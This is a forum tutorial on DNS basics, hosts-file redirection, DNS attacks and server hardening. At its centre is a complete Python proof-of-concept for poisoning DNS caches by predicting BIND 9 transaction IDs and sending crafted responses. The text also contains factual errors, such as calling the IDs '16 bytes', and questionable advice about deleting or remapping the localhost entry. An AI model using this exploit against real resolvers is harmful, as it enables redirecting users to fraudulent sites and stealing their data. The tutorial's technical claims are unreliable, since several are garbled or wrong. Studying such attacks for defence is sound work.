1. What is a DNS?
A DNS is a server that translates domain names into IP addresses. Every website has its IP or set of IP address-numbers. The world wide web and the computers at all work more easily with numbers, on the other hand we as humans find it hard to remember any web address as a group of numbers. For example the website Google.com has its own address in numbers(IP address): http://64.233.167.104/
So if you type the address above, your browser won't connect to any DNS server just because the mentioned web address is in fact a set of numbers and the computers don't need "translation". That was de facto the case in the early days of the world wide web and Internet and Fidonet(already forgotten competitor of Internet in its early days(the internet), Fidonet actually used only numbers to refer to addresses, it used already the term "zone", which is essential to the DNS server operation, but we will discuss that later).
The first DNS appeared 1993, but years prior to the 90's, a group of Berkeley students invent BIND(Berkeley Internet Name Domain), which is at present the most popular DNS server.
On the other hand the DNS history isn't that "bright" and "clear" as it seems. Since the very early years BIND and DNS in general...were always target of hacking attacks, such as "pharming", "spoofing", "phishing", "hijacking", "birthday paradox". We will state these techniques in detail below.
However, lets examine the DNS structure in better detail. In order to understand and prevent the hacking attacks we need an excellent understanding of the Internet structure at all. Many people are unaware of in what order the DNS queries take place. Some people might find it surprisingly that the DNS queries in fact occur starting from the top to the bottom -> eg. the root server -> the ISP server -> the local server -> the cache resolver.
As we however already explained in the early days of the Internet, DNS wasn't necessary. Every computer back then have had its own "host" file, surprisingly the infamous host file yet exists on Linux and Windows systems. Its role is to handle some pretty often used websites. You can modify your host file. On windows machines the host file is located: c:\windows\system32\drivers\etc\ That is the case in Windows XP. On Linux you might try to find it in /etc
You can open the host file with notepad and modify it so that any webpage could later redirect to an IP address of your choice. If you are "suspicious" enough you probably already realize the enormous bad "hacking" potential behind the DNS. In practice, assuming that you have opened your host file. Add this line on the top of your file. Please, remember to make a copy of the host file, just in case. Now open your host file with notepad, select the code inside. Delete the code originally in the host file and on the place of the old code paste this:
Now open your favourite webbrowser and try to navigate to: http://yahoo.comCode:# Copyright (c) 1993-1999 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a '#' symbol. # # For example: # # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host 127.0.0.1 localhost 64.233.167.104 yahoo.com
Now you don't see Yahoo, right??? You might be willing to reach Yahoo but instead you see...Google? Quite confusing, but what you just did was to assigning the IP address of Google to domain yahoo.com.
Needless to say, this change works only on your computer...it doesn't reach Yahoo or Google directly, but for the novice hacker this technique is nothing but an example of the extreme power hidden in the malicious DNS exploits. Of course in order to reverse this annoying hack just open the host file again and...better delete everything inside. You perhaps don't need the localhost value assigned to 127.0.0.1, even better change your localhost to some better numeric address :) like 1.1.1.1.
Here is a simple diagram that shows you though the way of your DNS queries on the internet. What exactly happens in the background when you type a webaddress in your browser. The operation occurs in a second, in fact fractions of the seconds and obviously this doesn't bother you, since you reach your favorite Google.com or Yahoo.com as soon as you blink:
2. DNS hacking techniques:
2.1. The modern approach: A recent exploit in BIND 9:
Many DNS attacks attempt to use the "man in the middle" way. In other words, when the real DNS server expects an answer from the client, a malicious 3rd party software intentionally "represents" itself as the real client and hence the DNS server believes this is the real client and communicates to the malicious software, while the bad software poisons the DNS server cache...poisoning the server cache with fake results like assigning a fake IP addresses to sites like ebay.com. So the next time when a user reaches the DNS server and open ebay.com thanks to the DNS server, it actually opens a poisoned website with fake hacked IP assigned to the server which actually belongs to the hacker in order to get personal information such as credit card numbers, bank accounts... On the other hand the good news is that such attacks have been extremely unsuccessful in the last few years thanks to many patches released by BIND and other DNS servers. The DNS attacks became a hacking fashion back in the 90's even perhaps more popular than the trojans at some point. But...yet the bad security holes aren't over...A recent and a very interesting exploit in the latest versions of BIND shows that the BIND "random" numbers are actually predictable. These "random numbers" are actually the unique IDs that a BIND server must assign on a current session when it communicates with a client. Just to be sure that it really communicates with the client and not some hacking software. Another disadvantage comes from the fact that the BIND sessions are just 16 bytes coded. For people who understand of cryptography it's clear that such codes could be not only broken by brute force but even guessed with simple logic. A such interesting approach is described in great detail in the paper below:
http://www.securiteam.com/securitynews/5VP0L0UM0A.html
Later, it has been written a prototype in Python to test this manual. Here is the source code:
At the moment we won't discuss other hacking techniques just because this isn't a hacking tutorial and mainly because as we mentioned, most of the DNS hacking ways aren't possible nowadays. Like for example the birthday paradox. Plus you will find tons of information with google on such old topics and we don't intend to copy them.Code:#!/usr/bin/env python """ DNS Cache Poison v0.3beta by posedge based on the Amit Klein paper: http://www.trusteer.com/docs/bind9dns.html output: <time>:<ip>:<port>: id: <id> q: <query> g: <good> e: <error> id: ID to predict q: number of queries from the DNS server (only queries with LSB at 0 in ID) g: number of good predicted IDs e: number of errors while trying to predict a *supposed to be* predicted ID """ import socket, select, sys, time from struct import unpack, pack from socket import htons _ANSWER_TIME_LIMIT = 1.0 # 1sec _NAMED_CONF = [[<your_dns1_hostname>, <your_dns1_ip>], \ [<your_dns2_hostname>, <your_dns2_ip>], \ [<etc>, <etc>]] class BINDSimplePredict: def __init__(self, txid, bind_9_2_3___9_4_1=True): self.txid = txid self.cand = [] if bind_9_2_3___9_4_1 == True: # For BIND9 v9.2.3-9.4.1: self.tap1=0x80000057 self.tap2=0x80000062 else: # For BIND9 v9.0.0-9.2.2: self.tap1=0xc000002b # (0x80000057>>1)|(1<<31) self.tap2=0xc0000061 # (0x800000c2>>1)|(1<<31) self.next = self.run() return def run(self): if (self.txid & 1) != 0: #print "info: LSB is not 0. Can't predict the next transaction ID." return False #print "info: LSB is 0, predicting..." # One bit shift (assuming the two lsb's are 0 and 0) for msb in xrange(0, 2): self.cand.append(((msb<<15)|(self.txid>>1)) & 0xFFFF) # Two bit shift (assuming the two lsb's are 1 and 1) # First shift (we know the lsb is 1 in both LFSRs): v=self.txid v=(v>>1)^self.tap1^self.tap2 if (v & 1) == 0: # After the first shift, the lsb becomes 0, so the two LFSRs now have # identical lsb's: 0 and 0 or 1 and 1 # Second shift: v1=(v>>1) # 0 and 0 v2=(v>>1)^self.tap1^self.tap2 # 1 and 1 else: # After the first shift, the lsb becomes 1, so the two LFSRs now have # different lsb's: 1 and 0 or 0 and 1 # Second shift: v1=(v>>1)^self.tap1 # 1 and 0 v2=(v>>1)^self.tap2 # 0 and 1 # Also need to enumerate over the 2 msb's we are clueless about for msbits in xrange(0, 4): self.cand.append(((msbits<<14)|v1) & 0xFFFF) self.cand.append(((msbits<<14)|v2) & 0xFFFF) return True; class DNSData: def __init__(self, data): self.data=data self.name='' for i in xrange(12, len(data)): self.name+=data[i] if data[i] == '\x00': break q_type = unpack(">H", data[i+1:i+3])[0] if q_type != 1: # only type: A (host address) allowed. self.name = None return def response(self, ip=None): packet='' packet+=self.data[0:2] # id packet+="\x84\x10" # flags packet+="\x00\x01" # questions packet+="\x00\x01" # answer RRS packet+="\x00\x00" # authority RRS packet+="\x00\x00" # additional RRS packet+=self.name # queries: name packet+="\x00\x01" # queries: type (A) packet+="\x00\x01" # queries: class (IN) packet+="\xc0\x0c" # answers: name if ip == None: packet+="\x00\x05" # answers: type (CNAME) packet+="\x00\x01" # answers: class (IN) packet+="\x00\x00\x00\x01" # answers: time to live (1sec) packet+=pack(">H", len(self.name)+2) # answers: data length packet+="\x01" + "x" + self.name # answers: primary name else: packet+="\x00\x01" # answers: type (A) packet+="\x00\x01" # answers: class (IN) packet+="\x00\x00\x00\x01" # answers: time to live (1sec) packet+="\x00\x04" # answers: data length packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # IP #packet+="\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x00" # Additional return packet class DNSServer: def __init__(self): self.is_r = [] self.is_w = [] self.is_e = [] self.targets = [] self.named_conf = [] for i in xrange(len(_NAMED_CONF)): start = 0 tmp = '' for j in xrange(len(_NAMED_CONF[i][0])): if _NAMED_CONF[i][0][j] == '.': tmp += chr(j - start) tmp += _NAMED_CONF[i][0][start:j] start = j + 1 tmp += chr(j - start + 1) tmp += _NAMED_CONF[i][0][start:] + "\x00" self.named_conf.append([tmp, _NAMED_CONF[i][1]]) return def run(self): self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.s.bind(('',53)) self.is_r.append(self.s) next = False i = 0 while 1: r, w, e = select.select(self.is_r, self.is_w, self.is_e, 1.0) if r: try: data, addr = self.s.recvfrom(1024) except socket.error: continue txid = unpack(">H", data[0:2])[0] p=DNSData(data) if p.name == None: continue found = False for j in xrange(len(self.named_conf)): if p.name == self.named_conf[j][0]: found = True break if found == True: self.s.sendto(p.response(self.named_conf[j][1]), addr) continue # FIXME: wrong code, 'i' is 0 at begin and when 1 item in list... for i in xrange(len(self.targets)): if self.targets[i][0] == addr[0]: break if i == len(self.targets): self.targets.append([addr[0], False, time.time(), [None, None], \ None, 0, 0, 0]) if self.targets[i][1] == False: bsp = BINDSimplePredict(txid) self.targets[i][1] = bsp.next self.targets[i][3][0] = bsp.cand bsp = BINDSimplePredict(txid, False) self.targets[i][3][1] = bsp.cand else: if p.name == self.targets[i][4]: elapsed = time.time() - self.targets[i][2] if elapsed > _ANSWER_TIME_LIMIT: print 'info: slow answer, discarding (%.2f sec)' % elapsed else: self.targets[i][5] += 1 found_v1 = False found_v2 = False for j in xrange(10): if self.targets[i][3][0][j] == txid: found_v1 = True break if self.targets[i][3][1][j] == txid: found_v2 = True break if found_v1 == True or found_v2 == True: self.targets[i][6] += 1 else: self.targets[i][7] += 1 # TODO: if found_v1 or found_v2 is True, then show bind version! print "\n" + str(i) + ' target:', self.targets print '%f:%s:%d: id: %04x q: %d g: %d e: %d' % (time.time(), \ addr[0], addr[1], txid, self.targets[i][5], \ self.targets[i][6], self.targets[i][7]) self.targets[i][1] = False self.targets[i][2] = time.time() self.targets[i][4] = "\x01" + "x" + p.name self.s.sendto(p.response(), addr) return def close(self): self.s.close() return if __name__ == '__main__': dns_srv = DNSServer() try: dns_srv.run() except KeyboardInterrupt: print 'ctrl-c, leaving...' dns_srv.close()
Now lets see what you can in order to protect your DNS server.
3. Protect your DNS server
- Protect your DNS server ache pollution;
- Enable recursion only on a specific type of DNS servers which you know(for example DNS servers from relocation of your hosting server)
- Use firewalls. Better several firewalls! Recent studies show that around the new millennium a group of hackers broke the 13 main root DNS servers with extremely high amount of flood queries. Though the attack wasn't anything special the root servers stopped to function for several minutes. In result and the entire internet. The attack isn't that popular, because the local cache lan dns servers show every webpage as it if nothing has happened. Even if the internet wasn't practically visible at the casual web visitor, obviously several minutes without internet are not a world disaster...However this very example illustrates the potential of the flooding attacks, the so called DoS attacks(Denial of service). And as we mentioned in the particular example the root servers used several firewalls which literally saved them from overheating and literal explosion/out of service...
- Use internal zones only;
- Be careful in the zone transfers.
- Always install the latest patches of BIND;
- Create daily backups and better replicate the hard disk;
- Configure a 3rd party local DNS server to act as the master DNS server, this way you can forbid access from the internet.
- Better use Linux rather than Windows and perhaps Fedora or Redhat with SELInux turned on. Installing patches on these systems is always a good idea.
- Use tools like "Necto" to scan your open ports, domains and so on. Follow for unusual activity on higher ports or on any port.
- Deploys the server as a server core.
- Avoid services like dyndns.
- Use MAC addresses limitation where this is possible.
- Install and run the DNS servers on the domain controllers.


LinkBack URL
About LinkBacks









Reply With Quote



Bookmarks
Algorithms and Data Structures
Java tutorials
Algorithms Forum